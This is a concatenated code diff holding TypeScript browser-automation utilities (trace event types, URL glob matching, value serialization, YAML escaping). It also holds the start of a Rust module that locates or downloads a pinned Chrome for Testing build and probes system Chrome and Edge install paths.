import type { Entry as ResourceSnapshot } from '@trace/har';
type Language = 'javascript' | 'python' | 'java' | 'csharp' | 'jsonl';
type Point = { x: number, y: number };
type Size = { width: number, height: number };
type StackFrame = {
file: string,
line: number,
column: number,
function?: string,
};
type Binary = Buffer;
type SerializedValue = {
n?: number,
b?: boolean,
s?: string,
v?: 'null' | 'undefined' | 'NaN' | 'Infinity' | '-Infinity' | '-0',
d?: string,
u?: string,
bi?: string,
ta?: {
b: Binary,
k: 'i8' | 'ui8' | 'ui8c' | 'i16' | 'ui16' | 'i32' | 'ui32' | 'f32' | 'f64' | 'bi64' | 'bui64',
},
e?: {
m: string,
n: string,
s: string,
},
r?: {
p: string,
f: string,
},
a?: SerializedValue[],
o?: {
k: string,
v: SerializedValue,
}[],
h?: number,
id?: number,
ref?: number,
};
type SerializedError = {
error?: {
message: string,
name: string,
stack?: string,
},
value?: SerializedValue,
};
// Text node.
type TextNodeSnapshot = string;
// Subtree reference, "x snapshots ago, node #y". Could point to a text node.
// Only nodes that are not references are counted, starting from zero, using post-order traversal.
type SubtreeReferenceSnapshot = [ [number, number] ];
// Node name, and optional attributes and child nodes.
type NodeNameAttributesChildNodesSnapshot = [ string ] | [ string, Record<string, string>, ...NodeSnapshot[] ];
type NodeSnapshot =
TextNodeSnapshot |
SubtreeReferenceSnapshot |
NodeNameAttributesChildNodesSnapshot;
type ResourceOverride = {
url: string,
sha1?: string,
ref?: number
};
type FrameSnapshot = {
snapshotName?: string,
callId: string,
pageId: string,
frameId: string,
frameUrl: string,
timestamp: number,
wallTime?: number,
collectionTime: number,
doctype?: string,
html: NodeSnapshot,
resourceOverrides: ResourceOverride[],
viewport: { width: number, height: number },
isMainFrame: boolean,
};
type BrowserContextEventOptions = {
baseURL?: string,
viewport?: Size,
deviceScaleFactor?: number,
isMobile?: boolean,
userAgent?: string,
};
export type ContextCreatedTraceEvent = {
version: number,
type: 'context-options',
origin: 'testRunner' | 'library',
browserName: string,
channel?: string,
platform: string,
wallTime: number,
monotonicTime: number,
title?: string,
options: BrowserContextEventOptions,
sdkLanguage?: Language,
testIdAttributeName?: string,
contextId?: string,
};
export type ScreencastFrameTraceEvent = {
type: 'screencast-frame',
pageId: string,
sha1: string,
width: number,
height: number,
timestamp: number,
frameSwapWallTime?: number,
};
export type BeforeActionTraceEvent = {
type: 'before',
callId: string;
startTime: number;
title?: string;
class: string;
method: string;
params: Record<string, any>;
stepId?: string;
beforeSnapshot?: string;
stack?: StackFrame[];
pageId?: string;
parentId?: string;
};
export type InputActionTraceEvent = {
type: 'input',
callId: string;
inputSnapshot?: string;
point?: Point;
};
export type AfterActionTraceEventAttachment = {
name: string;
contentType: string;
path?: string;
sha1?: string;
base64?: string;
};
export type AfterActionTraceEventAnnotation = {
type: string,
description?: string
};
export type AfterActionTraceEvent = {
type: 'after',
callId: string;
endTime: number;
afterSnapshot?: string;
error?: SerializedError['error'];
attachments?: AfterActionTraceEventAttachment[];
annotations?: AfterActionTraceEventAnnotation[];
result?: any;
point?: Point;
};
export type LogTraceEvent = {
type: 'log',
callId: string;
time: number;
message: string;
};
export type EventTraceEvent = {
type: 'event',
time: number;
class: string;
method: string;
params: any;
pageId?: string;
};
export type ConsoleMessageTraceEvent = {
type: 'console';
time: number;
pageId?: string;
messageType: string,
text: string,
args?: { preview: string, value: any }[],
location: {
url: string,
lineNumber: number,
columnNumber: number,
},
};
export type ResourceSnapshotTraceEvent = {
type: 'resource-snapshot',
snapshot: ResourceSnapshot,
};
export type FrameSnapshotTraceEvent = {
type: 'frame-snapshot',
snapshot: FrameSnapshot,
};
export type ActionTraceEvent = {
type: 'action',
} & Omit<BeforeActionTraceEvent, 'type'>
& Omit<AfterActionTraceEvent, 'type'>
& Omit<InputActionTraceEvent, 'type'>;
export type StdioTraceEvent = {
type: 'stdout' | 'stderr';
timestamp: number;
text?: string;
base64?: string;
};
export type ErrorTraceEvent = {
type: 'error';
message: string;
stack?: StackFrame[];
};
export type TraceEvent =
ContextCreatedTraceEvent |
ScreencastFrameTraceEvent |
ActionTraceEvent |
BeforeActionTraceEvent |
InputActionTraceEvent |
AfterActionTraceEvent |
EventTraceEvent |
LogTraceEvent |
ConsoleMessageTraceEvent |
ResourceSnapshotTraceEvent |
FrameSnapshotTraceEvent |
StdioTraceEvent |
ErrorTraceEvent;
@@ -0,0 +1,22 @@
/**
* Copyright (c) Microsoft Corporation. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export type Size = { width: number, height: number };
export type Point = { x: number, y: number };
export type Rect = Size & Point;
export type Quad = [ Point, Point, Point, Point ];
export type NameValue = { name: string, value: string };
export type HeadersArray = NameValue[];
@@ -0,0 +1,271 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { isString } from './stringUtils';
// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions#escaping
const escapedChars = new Set(['$', '^', '+', '.', '*', '(', ')', '|', '\\', '?', '{', '}', '[', ']']);
export function globToRegexPattern(glob: string): string {
const tokens = ['^'];
let inGroup = false;
for (let i = 0; i < glob.length; ++i) {
const c = glob[i];
if (c === '\\' && i + 1 < glob.length) {
const char = glob[++i];
tokens.push(escapedChars.has(char) ? '\\' + char : char);
continue;
}
if (c === '*') {
const charBefore = glob[i - 1];
let starCount = 1;
while (glob[i + 1] === '*') {
starCount++;
i++;
}
if (starCount > 1) {
const charAfter = glob[i + 1];
// Match either /..something../ or /.
if (charAfter === '/') {
if (charBefore === '/')
tokens.push('((.+/)|)');
else
tokens.push('(.*/)');
++i;
} else {
tokens.push('(.*)');
}
} else {
tokens.push('([^/]*)');
}
continue;
}
switch (c) {
case '{':
inGroup = true;
tokens.push('(');
break;
case '}':
inGroup = false;
tokens.push(')');
break;
case ',':
if (inGroup) {
tokens.push('|');
break;
}
tokens.push('\\' + c);
break;
default:
tokens.push(escapedChars.has(c) ? '\\' + c : c);
}
}
tokens.push('$');
return tokens.join('');
}
function isRegExp(obj: any): obj is RegExp {
return obj instanceof RegExp || Object.prototype.toString.call(obj) === '[object RegExp]';
}
export type URLMatch = string | RegExp | ((url: URL) => boolean) | URLPattern;
// URLPattern is not in @types/node@18, so we polyfill it ourselves
export type URLPattern = {
test(input: string | URL): boolean;
hash: string;
hostname: string;
password: string;
pathname: string;
port: string;
protocol: string;
search: string;
username: string;
};
// @ts-ignore URLPattern is not in @types/node yet
// eslint-disable-next-line no-restricted-globals
export const isURLPattern = (v: unknown): v is URLPattern => typeof globalThis.URLPattern === 'function' && v instanceof globalThis.URLPattern;
export function serializeURLPattern(v: URLPattern) {
return {
hash: v.hash,
hostname: v.hostname,
password: v.password,
pathname: v.pathname,
port: v.port,
protocol: v.protocol,
search: v.search,
username: v.username,
};
}
export type SerializedURLMatch = { glob?: string, regexSource?: string, regexFlags?: string, urlPattern?: ReturnType<typeof serializeURLPattern> };
export function serializeURLMatch(match: URLMatch): SerializedURLMatch | undefined {
if (isString(match))
return { glob: match };
if (isRegExp(match))
return { regexSource: match.source, regexFlags: match.flags };
if (isURLPattern(match))
return { urlPattern: serializeURLPattern(match) };
// Functions cannot be serialized
return undefined;
}
function deserializeURLPattern(v: ReturnType<typeof serializeURLPattern>): URLPattern | ((url: URL) => boolean) {
// Client is on Node 24+ and can use URLPattern, Server is not. Let's match all URLs on the server, they'll be filtered again on the client.
// @ts-ignore URLPattern is not in @types/node yet
// eslint-disable-next-line no-restricted-globals
if (typeof globalThis.URLPattern !== 'function')
return () => true;
// @ts-ignore URLPattern is not in @types/node yet
// eslint-disable-next-line no-restricted-globals
return new globalThis.URLPattern({
hash: v.hash,
hostname: v.hostname,
password: v.password,
pathname: v.pathname,
port: v.port,
protocol: v.protocol,
search: v.search,
username: v.username,
});
}
export function deserializeURLMatch(match: { glob?: string, regexSource?: string, regexFlags?: string, urlPattern?: ReturnType<typeof serializeURLPattern> }): URLMatch {
if (match.regexSource)
return new RegExp(match.regexSource, match.regexFlags);
if (match.urlPattern)
return deserializeURLPattern(match.urlPattern);
return match.glob!;
}
export function urlMatchesEqual(match1: URLMatch, match2: URLMatch) {
if (isRegExp(match1) && isRegExp(match2))
return match1.source === match2.source && match1.flags === match2.flags;
return match1 === match2;
}
export function urlMatches(baseURL: string | undefined, urlString: string, match: URLMatch | undefined, webSocketUrl?: boolean): boolean {
if (match === undefined || match === '')
return true;
if (isString(match))
match = new RegExp(resolveGlobToRegexPattern(baseURL, match, webSocketUrl));
if (isRegExp(match)) {
const r = match.test(urlString);
return r;
}
const url = parseURL(urlString);
if (!url)
return false;
if (isURLPattern(match))
return match.test(url.href);
if (typeof match !== 'function')
throw new Error('url parameter should be string, RegExp, URLPattern or function');
return match(url);
}
export function resolveGlobToRegexPattern(baseURL: string | undefined, glob: string, webSocketUrl?: boolean): string {
if (webSocketUrl)
baseURL = toWebSocketBaseUrl(baseURL);
glob = resolveGlobBase(baseURL, glob);
return globToRegexPattern(glob);
}
function toWebSocketBaseUrl(baseURL: string | undefined) {
// Allow http(s) baseURL to match ws(s) urls.
if (baseURL && /^https?:\/\//.test(baseURL))
baseURL = baseURL.replace(/^http/, 'ws');
return baseURL;
}
function resolveGlobBase(baseURL: string | undefined, match: string): string {
if (!match.startsWith('*')) {
const tokenMap = new Map<string, string>();
function mapToken(original: string, replacement: string) {
if (original.length === 0)
return '';
tokenMap.set(replacement, original);
return replacement;
}
// Escaped `\\?` behaves the same as `?` in our glob patterns.
match = match.replaceAll(/\\\\\?/g, '?');
// Special case about: URLs as they are not relative to baseURL
if (match.startsWith('about:') || match.startsWith('data:')
|| match.startsWith('chrome:') || match.startsWith('edge:')
|| match.startsWith('file:'))
return match;
// Glob symbols may be escaped in the URL and some of them such as ? affect resolution,
// so we replace them with safe components first.
const relativePath = match.split('/').map((token, index) => {
if (token === '.' || token === '..' || token === '')
return token;
// Handle special case of http*://, note that the new schema has to be
// a web schema so that slashes are properly inserted after domain.
if (index === 0 && token.endsWith(':')) {
// Replace any pattern with http:
if (token.indexOf('*') !== -1 || token.indexOf('{') !== -1)
return mapToken(token, 'http:');
// Preserve explicit schema as is as it may affect trailing slashes after domain.
return token;
}
const questionIndex = token.indexOf('?');
if (questionIndex === -1)
return mapToken(token, `$_${index}_$`);
const newPrefix = mapToken(token.substring(0, questionIndex), `$_${index}_$`);
const newSuffix = mapToken(token.substring(questionIndex), `?$_${index}_$`);
return newPrefix + newSuffix;
}).join('/');
const result = resolveBaseURL(baseURL, relativePath);
let resolved = result.resolved;
for (const [token, original] of tokenMap) {
const normalize = result.caseInsensitivePart?.includes(token);
resolved = resolved.replace(token, normalize ? original.toLowerCase() : original);
}
match = resolved;
}
return match;
}
function parseURL(url: string): URL | null {
try {
return new URL(url);
} catch (e) {
return null;
}
}
export function constructURLBasedOnBaseURL(baseURL: string | undefined, givenURL: string): string {
try {
return resolveBaseURL(baseURL, givenURL).resolved;
} catch (e) {
return givenURL;
}
}
function resolveBaseURL(baseURL: string | undefined, givenURL: string) {
try {
const url = new URL(givenURL, baseURL);
const resolved = url.toString();
// Schema and domain are case-insensitive.
const caseInsensitivePrefix = url.origin;
return { resolved, caseInsensitivePart: caseInsensitivePrefix };
} catch (e) {
return { resolved: givenURL };
}
}
@@ -0,0 +1,303 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
type TypedArrayKind = 'i8' | 'ui8' | 'ui8c' | 'i16' | 'ui16' | 'i32' | 'ui32' | 'f32' | 'f64' | 'bi64' | 'bui64';
export type SerializedValue =
undefined | boolean | number | string |
{ v: 'null' | 'undefined' | 'NaN' | 'Infinity' | '-Infinity' | '-0' } |
{ d: string } |
{ u: string } |
{ bi: string } |
{ e: { n: string, m: string, s: string } } |
{ r: { p: string, f: string } } |
{ a: SerializedValue[], id: number } |
{ o: { k: string, v: SerializedValue }[], id: number } |
{ ref: number } |
{ h: number } |
{ ta: { b: string, k: TypedArrayKind } } |
{ ab: { b: string } };
type HandleOrValue = { h: number } | { fallThrough: any };
type VisitorInfo = {
visited: Map<object, number>;
lastId: number;
};
function isRegExp(obj: any): obj is RegExp {
try {
return obj instanceof RegExp || Object.prototype.toString.call(obj) === '[object RegExp]';
} catch (error) {
return false;
}
}
function isDate(obj: any): obj is Date {
try {
// eslint-disable-next-line no-restricted-globals
return obj instanceof Date || Object.prototype.toString.call(obj) === '[object Date]';
} catch (error) {
return false;
}
}
function isURL(obj: any): obj is URL {
try {
return obj instanceof URL || Object.prototype.toString.call(obj) === '[object URL]';
} catch (error) {
return false;
}
}
function isError(obj: any): obj is Error {
try {
return obj instanceof Error || (obj && Object.getPrototypeOf(obj)?.name === 'Error');
} catch (error) {
return false;
}
}
function isTypedArray(obj: any, constructor: Function): boolean {
try {
return obj instanceof constructor || Object.prototype.toString.call(obj) === `[object ${constructor.name}]`;
} catch (error) {
return false;
}
}
function isArrayBuffer(obj: any): obj is ArrayBuffer {
try {
return obj instanceof ArrayBuffer || Object.prototype.toString.call(obj) === '[object ArrayBuffer]';
} catch (error) {
return false;
}
}
const typedArrayConstructors: Record<TypedArrayKind, Function> = {
i8: Int8Array,
ui8: Uint8Array,
ui8c: Uint8ClampedArray,
i16: Int16Array,
ui16: Uint16Array,
i32: Int32Array,
ui32: Uint32Array,
// TODO: add Float16Array once it's in baseline
f32: Float32Array,
f64: Float64Array,
bi64: BigInt64Array,
bui64: BigUint64Array,
};
function typedArrayToBase64(array: any) {
/**
* Firefox does not support iterating over typed arrays, so we use `.toBase64`.
* Error: 'Accessing TypedArray data over Xrays is slow, and forbidden in order to encourage performant code. To copy TypedArrays across origin boundaries, consider using Components.utils.cloneInto().'
*/
if ('toBase64' in array)
return array.toBase64();
const binary = Array.from(new Uint8Array(array.buffer, array.byteOffset, array.byteLength)).map(b => String.fromCharCode(b)).join('');
return btoa(binary);
}
function base64ToTypedArray(base64: string, TypedArrayConstructor: any) {
const binary = atob(base64);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i++)
bytes[i] = binary.charCodeAt(i);
return new TypedArrayConstructor(bytes.buffer);
}
export function parseEvaluationResultValue(value: SerializedValue, handles: any[] = [], refs: Map<number, object> = new Map()): any {
if (Object.is(value, undefined))
return undefined;
if (typeof value === 'object' && value) {
if ('ref' in value)
return refs.get(value.ref);
if ('v' in value) {
if (value.v === 'undefined')
return undefined;
if (value.v === 'null')
return null;
if (value.v === 'NaN')
return NaN;
if (value.v === 'Infinity')
return Infinity;
if (value.v === '-Infinity')
return -Infinity;
if (value.v === '-0')
return -0;
return undefined;
}
if ('d' in value) {
// eslint-disable-next-line no-restricted-globals
return new Date(value.d);
}
if ('u' in value)
return new URL(value.u);
if ('bi' in value)
return BigInt(value.bi);
if ('e' in value) {
const error = new Error(value.e.m);
error.name = value.e.n;
error.stack = value.e.s;
return error;
}
if ('r' in value)
return new RegExp(value.r.p, value.r.f);
if ('a' in value) {
const result: any[] = [];
refs.set(value.id, result);
for (const a of value.a)
result.push(parseEvaluationResultValue(a, handles, refs));
return result;
}
if ('o' in value) {
const result: any = {};
refs.set(value.id, result);
for (const { k, v } of value.o) {
if (k === '__proto__')
continue;
result[k] = parseEvaluationResultValue(v, handles, refs);
}
return result;
}
if ('h' in value)
return handles[value.h];
if ('ta' in value)
return base64ToTypedArray(value.ta.b, typedArrayConstructors[value.ta.k]);
if ('ab' in value)
return base64ToTypedArray(value.ab.b, Uint8Array).buffer;
}
return value;
}
export function serializeAsCallArgument(value: any, handleSerializer: (value: any) => HandleOrValue): SerializedValue {
return serialize(value, handleSerializer, { visited: new Map(), lastId: 0 });
}
function serialize(value: any, handleSerializer: (value: any) => HandleOrValue, visitorInfo: VisitorInfo): SerializedValue {
if (value && typeof value === 'object') {
// eslint-disable-next-line no-restricted-globals
if (typeof globalThis.Window === 'function' && value instanceof globalThis.Window)
return 'ref: <Window>';
// eslint-disable-next-line no-restricted-globals
if (typeof globalThis.Document === 'function' && value instanceof globalThis.Document)
return 'ref: <Document>';
// eslint-disable-next-line no-restricted-globals
if (typeof globalThis.Node === 'function' && value instanceof globalThis.Node)
return 'ref: <Node>';
}
return innerSerialize(value, handleSerializer, visitorInfo);
}
function innerSerialize(value: any, handleSerializer: (value: any) => HandleOrValue, visitorInfo: VisitorInfo): SerializedValue {
const result = handleSerializer(value);
if ('fallThrough' in result)
value = result.fallThrough;
else
return result;
if (typeof value === 'symbol')
return { v: 'undefined' };
if (Object.is(value, undefined))
return { v: 'undefined' };
if (Object.is(value, null))
return { v: 'null' };
if (Object.is(value, NaN))
return { v: 'NaN' };
if (Object.is(value, Infinity))
return { v: 'Infinity' };
if (Object.is(value, -Infinity))
return { v: '-Infinity' };
if (Object.is(value, -0))
return { v: '-0' };
if (typeof value === 'boolean')
return value;
if (typeof value === 'number')
return value;
if (typeof value === 'string')
return value;
if (typeof value === 'bigint')
return { bi: value.toString() };
if (isError(value)) {
let stack;
if (value.stack?.startsWith(value.name + ': ' + value.message)) {
// v8
stack = value.stack;
} else {
stack = `${value.name}: ${value.message}\n${value.stack}`;
}
return { e: { n: value.name, m: value.message, s: stack } };
}
if (isDate(value))
return { d: value.toJSON() };
if (isURL(value))
return { u: value.toJSON() };
if (isRegExp(value))
return { r: { p: value.source, f: value.flags } };
for (const [k, ctor] of Object.entries(typedArrayConstructors) as [TypedArrayKind, Function][]) {
if (isTypedArray(value, ctor))
return { ta: { b: typedArrayToBase64(value), k } };
}
if (isArrayBuffer(value))
return { ab: { b: typedArrayToBase64(new Uint8Array(value)) } };
const id = visitorInfo.visited.get(value);
if (id)
return { ref: id };
if (Array.isArray(value)) {
const a = [];
const id = ++visitorInfo.lastId;
visitorInfo.visited.set(value, id);
for (let i = 0; i < value.length; ++i)
a.push(serialize(value[i], handleSerializer, visitorInfo));
return { a, id };
}
if (typeof value === 'object') {
const o: { k: string, v: SerializedValue }[] = [];
const id = ++visitorInfo.lastId;
visitorInfo.visited.set(value, id);
for (const name of Object.keys(value)) {
let item;
try {
item = value[name];
} catch (e) {
continue; // native bindings will throw sometimes
}
if (name === 'toJSON' && typeof item === 'function')
o.push({ k: name, v: { o: [], id: 0 } });
else
o.push({ k: name, v: serialize(item, handleSerializer, visitorInfo) });
}
let jsonWrapper;
try {
// If Object.keys().length === 0 we fall back to toJSON if it exists
if (o.length === 0 && value.toJSON && typeof value.toJSON === 'function')
jsonWrapper = { value: value.toJSON() };
} catch (e) {
}
if (jsonWrapper)
return innerSerialize(jsonWrapper.value, handleSerializer, visitorInfo);
return { o, id };
}
}
@@ -0,0 +1,94 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export function yamlEscapeKeyIfNeeded(str: string): string {
if (!yamlStringNeedsQuotes(str))
return str;
return `'` + str.replace(/'/g, `''`) + `'`;
}
export function yamlEscapeValueIfNeeded(str: string): string {
if (!yamlStringNeedsQuotes(str))
return str;
return '"' + str.replace(/[\\"\x00-\x1f\x7f-\x9f]/g, c => {
switch (c) {
case '\\':
return '\\\\';
case '"':
return '\\"';
case '\b':
return '\\b';
case '\f':
return '\\f';
case '\n':
return '\\n';
case '\r':
return '\\r';
case '\t':
return '\\t';
default:
const code = c.charCodeAt(0);
return '\\x' + code.toString(16).padStart(2, '0');
}
}) + '"';
}
function yamlStringNeedsQuotes(str: string): boolean {
if (str.length === 0)
return true;
// Strings with leading or trailing whitespace need quotes
if (/^\s|\s$/.test(str))
return true;
// Strings containing control characters need quotes
if (/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f-\x9f]/.test(str))
return true;
// Strings starting with '-' need quotes
if (/^-/.test(str))
return true;
// Strings containing ':' or '\n' followed by a space or at the end need quotes
if (/[\n:](\s|$)/.test(str))
return true;
// Strings containing '#' preceded by a space need quotes (comment indicator)
if (/\s#/.test(str))
return true;
// Strings that contain line breaks need quotes
if (/[\n\r]/.test(str))
return true;
// Strings starting with indicator characters or quotes need quotes
if (/^[&*\],?!>|@"'#%]/.test(str))
return true;
// Strings containing special characters that could cause ambiguity
if (/[{}`]/.test(str))
return true;
// YAML array starts with [
if (/^\[/.test(str))
return true;
// Non-string types recognized by YAML
if (!isNaN(Number(str)) || ['y', 'n', 'yes', 'no', 'true', 'false', 'on', 'off', 'null'].includes(str.toLowerCase()))
return true;
return false;
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,679 @@
//! Chrome for Testing 版本解析 + 平台 id 映射 + 浏览器解析(打包优先 / 下载兜底 / mac 去 quarantine)。
//!
//! 「零联网安装、不依赖 PATH」的兑现点。旧 Playwright provision 正是在此失败
//! (ENOENT / npm 不走代理),故此处直接用 `nomifun_net::http_client`(代理感知)
//! 下载 + `.part`→rename + zip 解压,全部自包含、不依赖外部 node / npm / PATH。
//!
//! 注:下载 / 解压 / `no_window_command` / `strip_quarantine` 的写法是
//! `nomifun-app::provision::install` 同款的**复刻**而非引用——后者位于 backend
//! 二进制 crate,agent crate 反向依赖它会造成依赖倒置,故在此本地复刻并对齐版本
//! (zip = "2" / flate2 同 workspace;本模块只需 zip,CfT 三平台包都是 .zip)。
use std::path::{Path, PathBuf};
use std::time::Duration;
use crate::engine::BrowserError;
/// chrome zip 单次下载超时。CfT chrome 包 ~150MB;裸 reqwest client 无默认超时,
/// 停滞连接会永久挂起,故显式封顶(对齐 provision::install 的 600s)。
const DOWNLOAD_TIMEOUT: Duration = Duration::from_secs(600);
/// known-good JSON 抓取超时(小文件,宽松即可)。
const METADATA_TIMEOUT: Duration = Duration::from_secs(60);
/// 把 (os, arch) 映射到 Chrome for Testing 的 platform id。
pub fn cft_platform_id(os: &str, arch: &str) -> Option<&'static str> {
match (os, arch) {
("windows", "x86_64") => Some("win64"),
("macos", "aarch64") => Some("mac-arm64"),
("macos", "x86_64") => Some("mac-x64"),
("linux", "x86_64") => Some("linux64"),
_ => None,
}
}
#[derive(serde::Deserialize)]
struct KnownGood {
versions: Vec<VerEntry>,
}
#[derive(serde::Deserialize)]
struct VerEntry {
version: String,
downloads: Downloads,
}
#[derive(serde::Deserialize)]
struct Downloads {
chrome: Vec<Dl>,
}
#[derive(serde::Deserialize)]
struct Dl {
platform: String,
url: String,
}
/// 从 known-good-versions-with-downloads JSON 里挑指定 version+platform 的 chrome 下载 url。
pub fn pick_chrome_url(json: &str, version: &str, platform: &str) -> Option<String> {
let kg: KnownGood = serde_json::from_str(json).ok()?;
kg.versions
.into_iter()
.find(|v| v.version == version)?
.downloads
.chrome
.into_iter()
.find(|d| d.platform == platform)
.map(|d| d.url)
}
/// 钉死的 Chromium 版本(build 期固化用同一版本,运行时只校验存在)。
//
// 已对照 Chrome for Testing `last-known-good-versions.json` 的 channels.Stable.version
// 核对(截至 2026-06-17);该版本号属真实存在的稳定 CfT 通道版本,非占位值。
pub const PINNED_CHROME_VERSION: &str = "149.0.7827.155";
pub const KNOWN_GOOD_URL: &str =
"https://googlechromelabs.github.io/chrome-for-testing/known-good-versions-with-downloads.json";
/// 用户显式指定 Chrome 可执行绝对路径的环境变量(最高优先级)。
pub const CHROME_BINARY_ENV: &str = "NOMIFUN_CHROME_BINARY";
/// 数据目录下安放下载浏览器的子目录名。布局:
/// `<data_dir>/nomifun-browser/<version>/chrome-<platform>/...`。
const BROWSER_SUBDIR: &str = "nomifun-browser";
/// 解压目录内可执行文件相对该平台解压根(`chrome-<platform>/`)的子路径。
///
/// 注意 CfT 的 zip 顶层目录就是 `chrome-<platform>/`,故这里返回的是**含**该顶层
/// 目录的相对路径——与 [`extract_zip_into`] 保留顶层目录的行为一致。
fn chrome_exe_subpath(platform: &str) -> Option<&'static str> {
match platform {
"win64" => Some("chrome-win64/chrome.exe"),
// CfT 的 mac 包内是一个 `.app` bundle;真正可执行在 Contents/MacOS 下。
// TODO(verify-macos): mac .app 内可执行路径需实机核对,见
// docs/superpowers/specs/browser-use/PLATFORM-VERIFICATION.md
"mac-arm64" => {
Some("chrome-mac-arm64/Google Chrome for Testing.app/Contents/MacOS/Google Chrome for Testing")
}
"mac-x64" => {
Some("chrome-mac-x64/Google Chrome for Testing.app/Contents/MacOS/Google Chrome for Testing")
}
// TODO(verify-linux): linux64 可执行子路径需实机核对,见上同文件。
"linux64" => Some("chrome-linux64/chrome"),
_ => None,
}
}
/// 纯优先级查找:按 env > 打包目录 > 数据目录 顺序找**已存在**的 chrome 可执行。
/// 不下载、不触网,故 Windows 可单测。`None` 时交给 [`resolve_chrome_path`] 走下载兜底。
///
/// - `env_get`:注入的环境变量读取器(测试可注入假值)。
/// - `bundled_dir`:Tauri resource dir(build 期固化),其下找 `chrome-<platform>/...`。
/// - `data_dir`:应用数据目录,其下找 `nomifun-browser/<version>/chrome-<platform>/...`。
fn resolve_chrome_path_in(
platform: &str,
env_get: impl Fn(&str) -> Option<String>,
bundled_dir: Option<&Path>,
data_dir: &Path,
) -> Option<PathBuf> {
// 1. env 显式指定的绝对路径,存在即用(最高优先)。
if let Some(p) = env_get(CHROME_BINARY_ENV) {
let p = PathBuf::from(p);
if p.is_file() {
return Some(p);
}
}
let sub = chrome_exe_subpath(platform)?;
// 2. 打包资源目录:<bundled>/chrome-<platform>/...
if let Some(bundled) = bundled_dir {
let cand = bundled.join(sub);
if cand.is_file() {
return Some(cand);
}
}
// 3. 数据目录(运行时已下载):<data>/nomifun-browser/<version>/chrome-<platform>/...
let cand = data_dir
.join(BROWSER_SUBDIR)
.join(PINNED_CHROME_VERSION)
.join(sub);
if cand.is_file() {
return Some(cand);
}
None
}
/// 当前平台上**系统已装** Chromium 系浏览器(Chrome 优先、Edge 兜底)的候选可执行
/// 绝对路径列表,按优先级排序。纯函数(注入式 `env_get`,便于单测)。
///
/// 设计意图(呼应 DESIGN v1「复用系统浏览器二进制 + 专属 user-data-dir」):多数用户
/// 机器已装 Chrome、Win10/11 必装 Edge——直接复用其**二进制**即可零下载、离线、绕过
/// CfT 下载被墙/无网的失败。永远配专属 `--user-data-dir` 起独立托管实例(launch.rs
/// 红线:绝不碰用户 profile)。Edge 亦为 Chromium,CDP 与 [`crate::switches`] 硬化开关
/// 通用(switches 删的仅 Edge 自更新项,不影响 CDP 启动)。
fn system_browser_candidates(os: &str, env_get: impl Fn(&str) -> Option<String>) -> Vec<PathBuf> {
let mut out: Vec<PathBuf> = Vec::new();
match os {
"windows" => {
// 环境变量展开(注入式读取);缺失则回退惯例绝对路径。
let pf = env_get("ProgramFiles").unwrap_or_else(|| r"C:\Program Files".into());
let pf86 =
env_get("ProgramFiles(x86)").unwrap_or_else(|| r"C:\Program Files (x86)".into());
let lad = env_get("LocalAppData");
// Chrome 优先:全局(64/32 位安装位)+ 每用户安装(LocalAppData)。
out.push(PathBuf::from(&pf).join(r"Google\Chrome\Application\chrome.exe"));
out.push(PathBuf::from(&pf86).join(r"Google\Chrome\Application\chrome.exe"));
if let Some(lad) = &lad {
out.push(PathBuf::from(lad).join(r"Google\Chrome\Application\chrome.exe"));
}
// Edge 兜底(Win10/11 预装;通常装在 Program Files (x86))。
out.push(PathBuf::from(&pf86).join(r"Microsoft\Edge\Application\msedge.exe"));
out.push(PathBuf::from(&pf).join(r"Microsoft\Edge\Application\msedge.exe"));
if let Some(lad) = &lad {
out.push(PathBuf::from(lad).join(r"Microsoft\Edge\Application\msedge.exe"));
}
}
// TODO(verify-macos): mac 系统浏览器路径需实机核对,见 PLATFORM-VERIFICATION.md。
"macos" => {
out.push(PathBuf::from(
"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome",
));
if let Some(home) = env_get("HOME") {
out.push(
PathBuf::from(home)
.join("Applications/Google Chrome.app/Contents/MacOS/Google Chrome"),
);
}
out.push(PathBuf::from(
"/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge",
));
out.push(PathBuf::from(
"/Applications/Chromium.app/Contents/MacOS/Chromium",
));
}
// TODO(verify-linux): linux 系统浏览器路径需实机核对,见 PLATFORM-VERIFICATION.md。
"linux" => {
for p in [
"/usr/bin/google-chrome",
"/usr/bin/google-chrome-stable",
"/opt/google/chrome/chrome",
"/usr/bin/chromium",
"/usr/bin/chromium-browser",
"/snap/bin/chromium",
"/usr/bin/microsoft-edge",
"/usr/bin/microsoft-edge-stable",
] {
out.push(PathBuf::from(p));
}
}
_ => {}
}
out
}
/// 探测系统已装 Chromium 系浏览器,返回首个**存在**的可执行(Chrome 优先、Edge 兜底)。
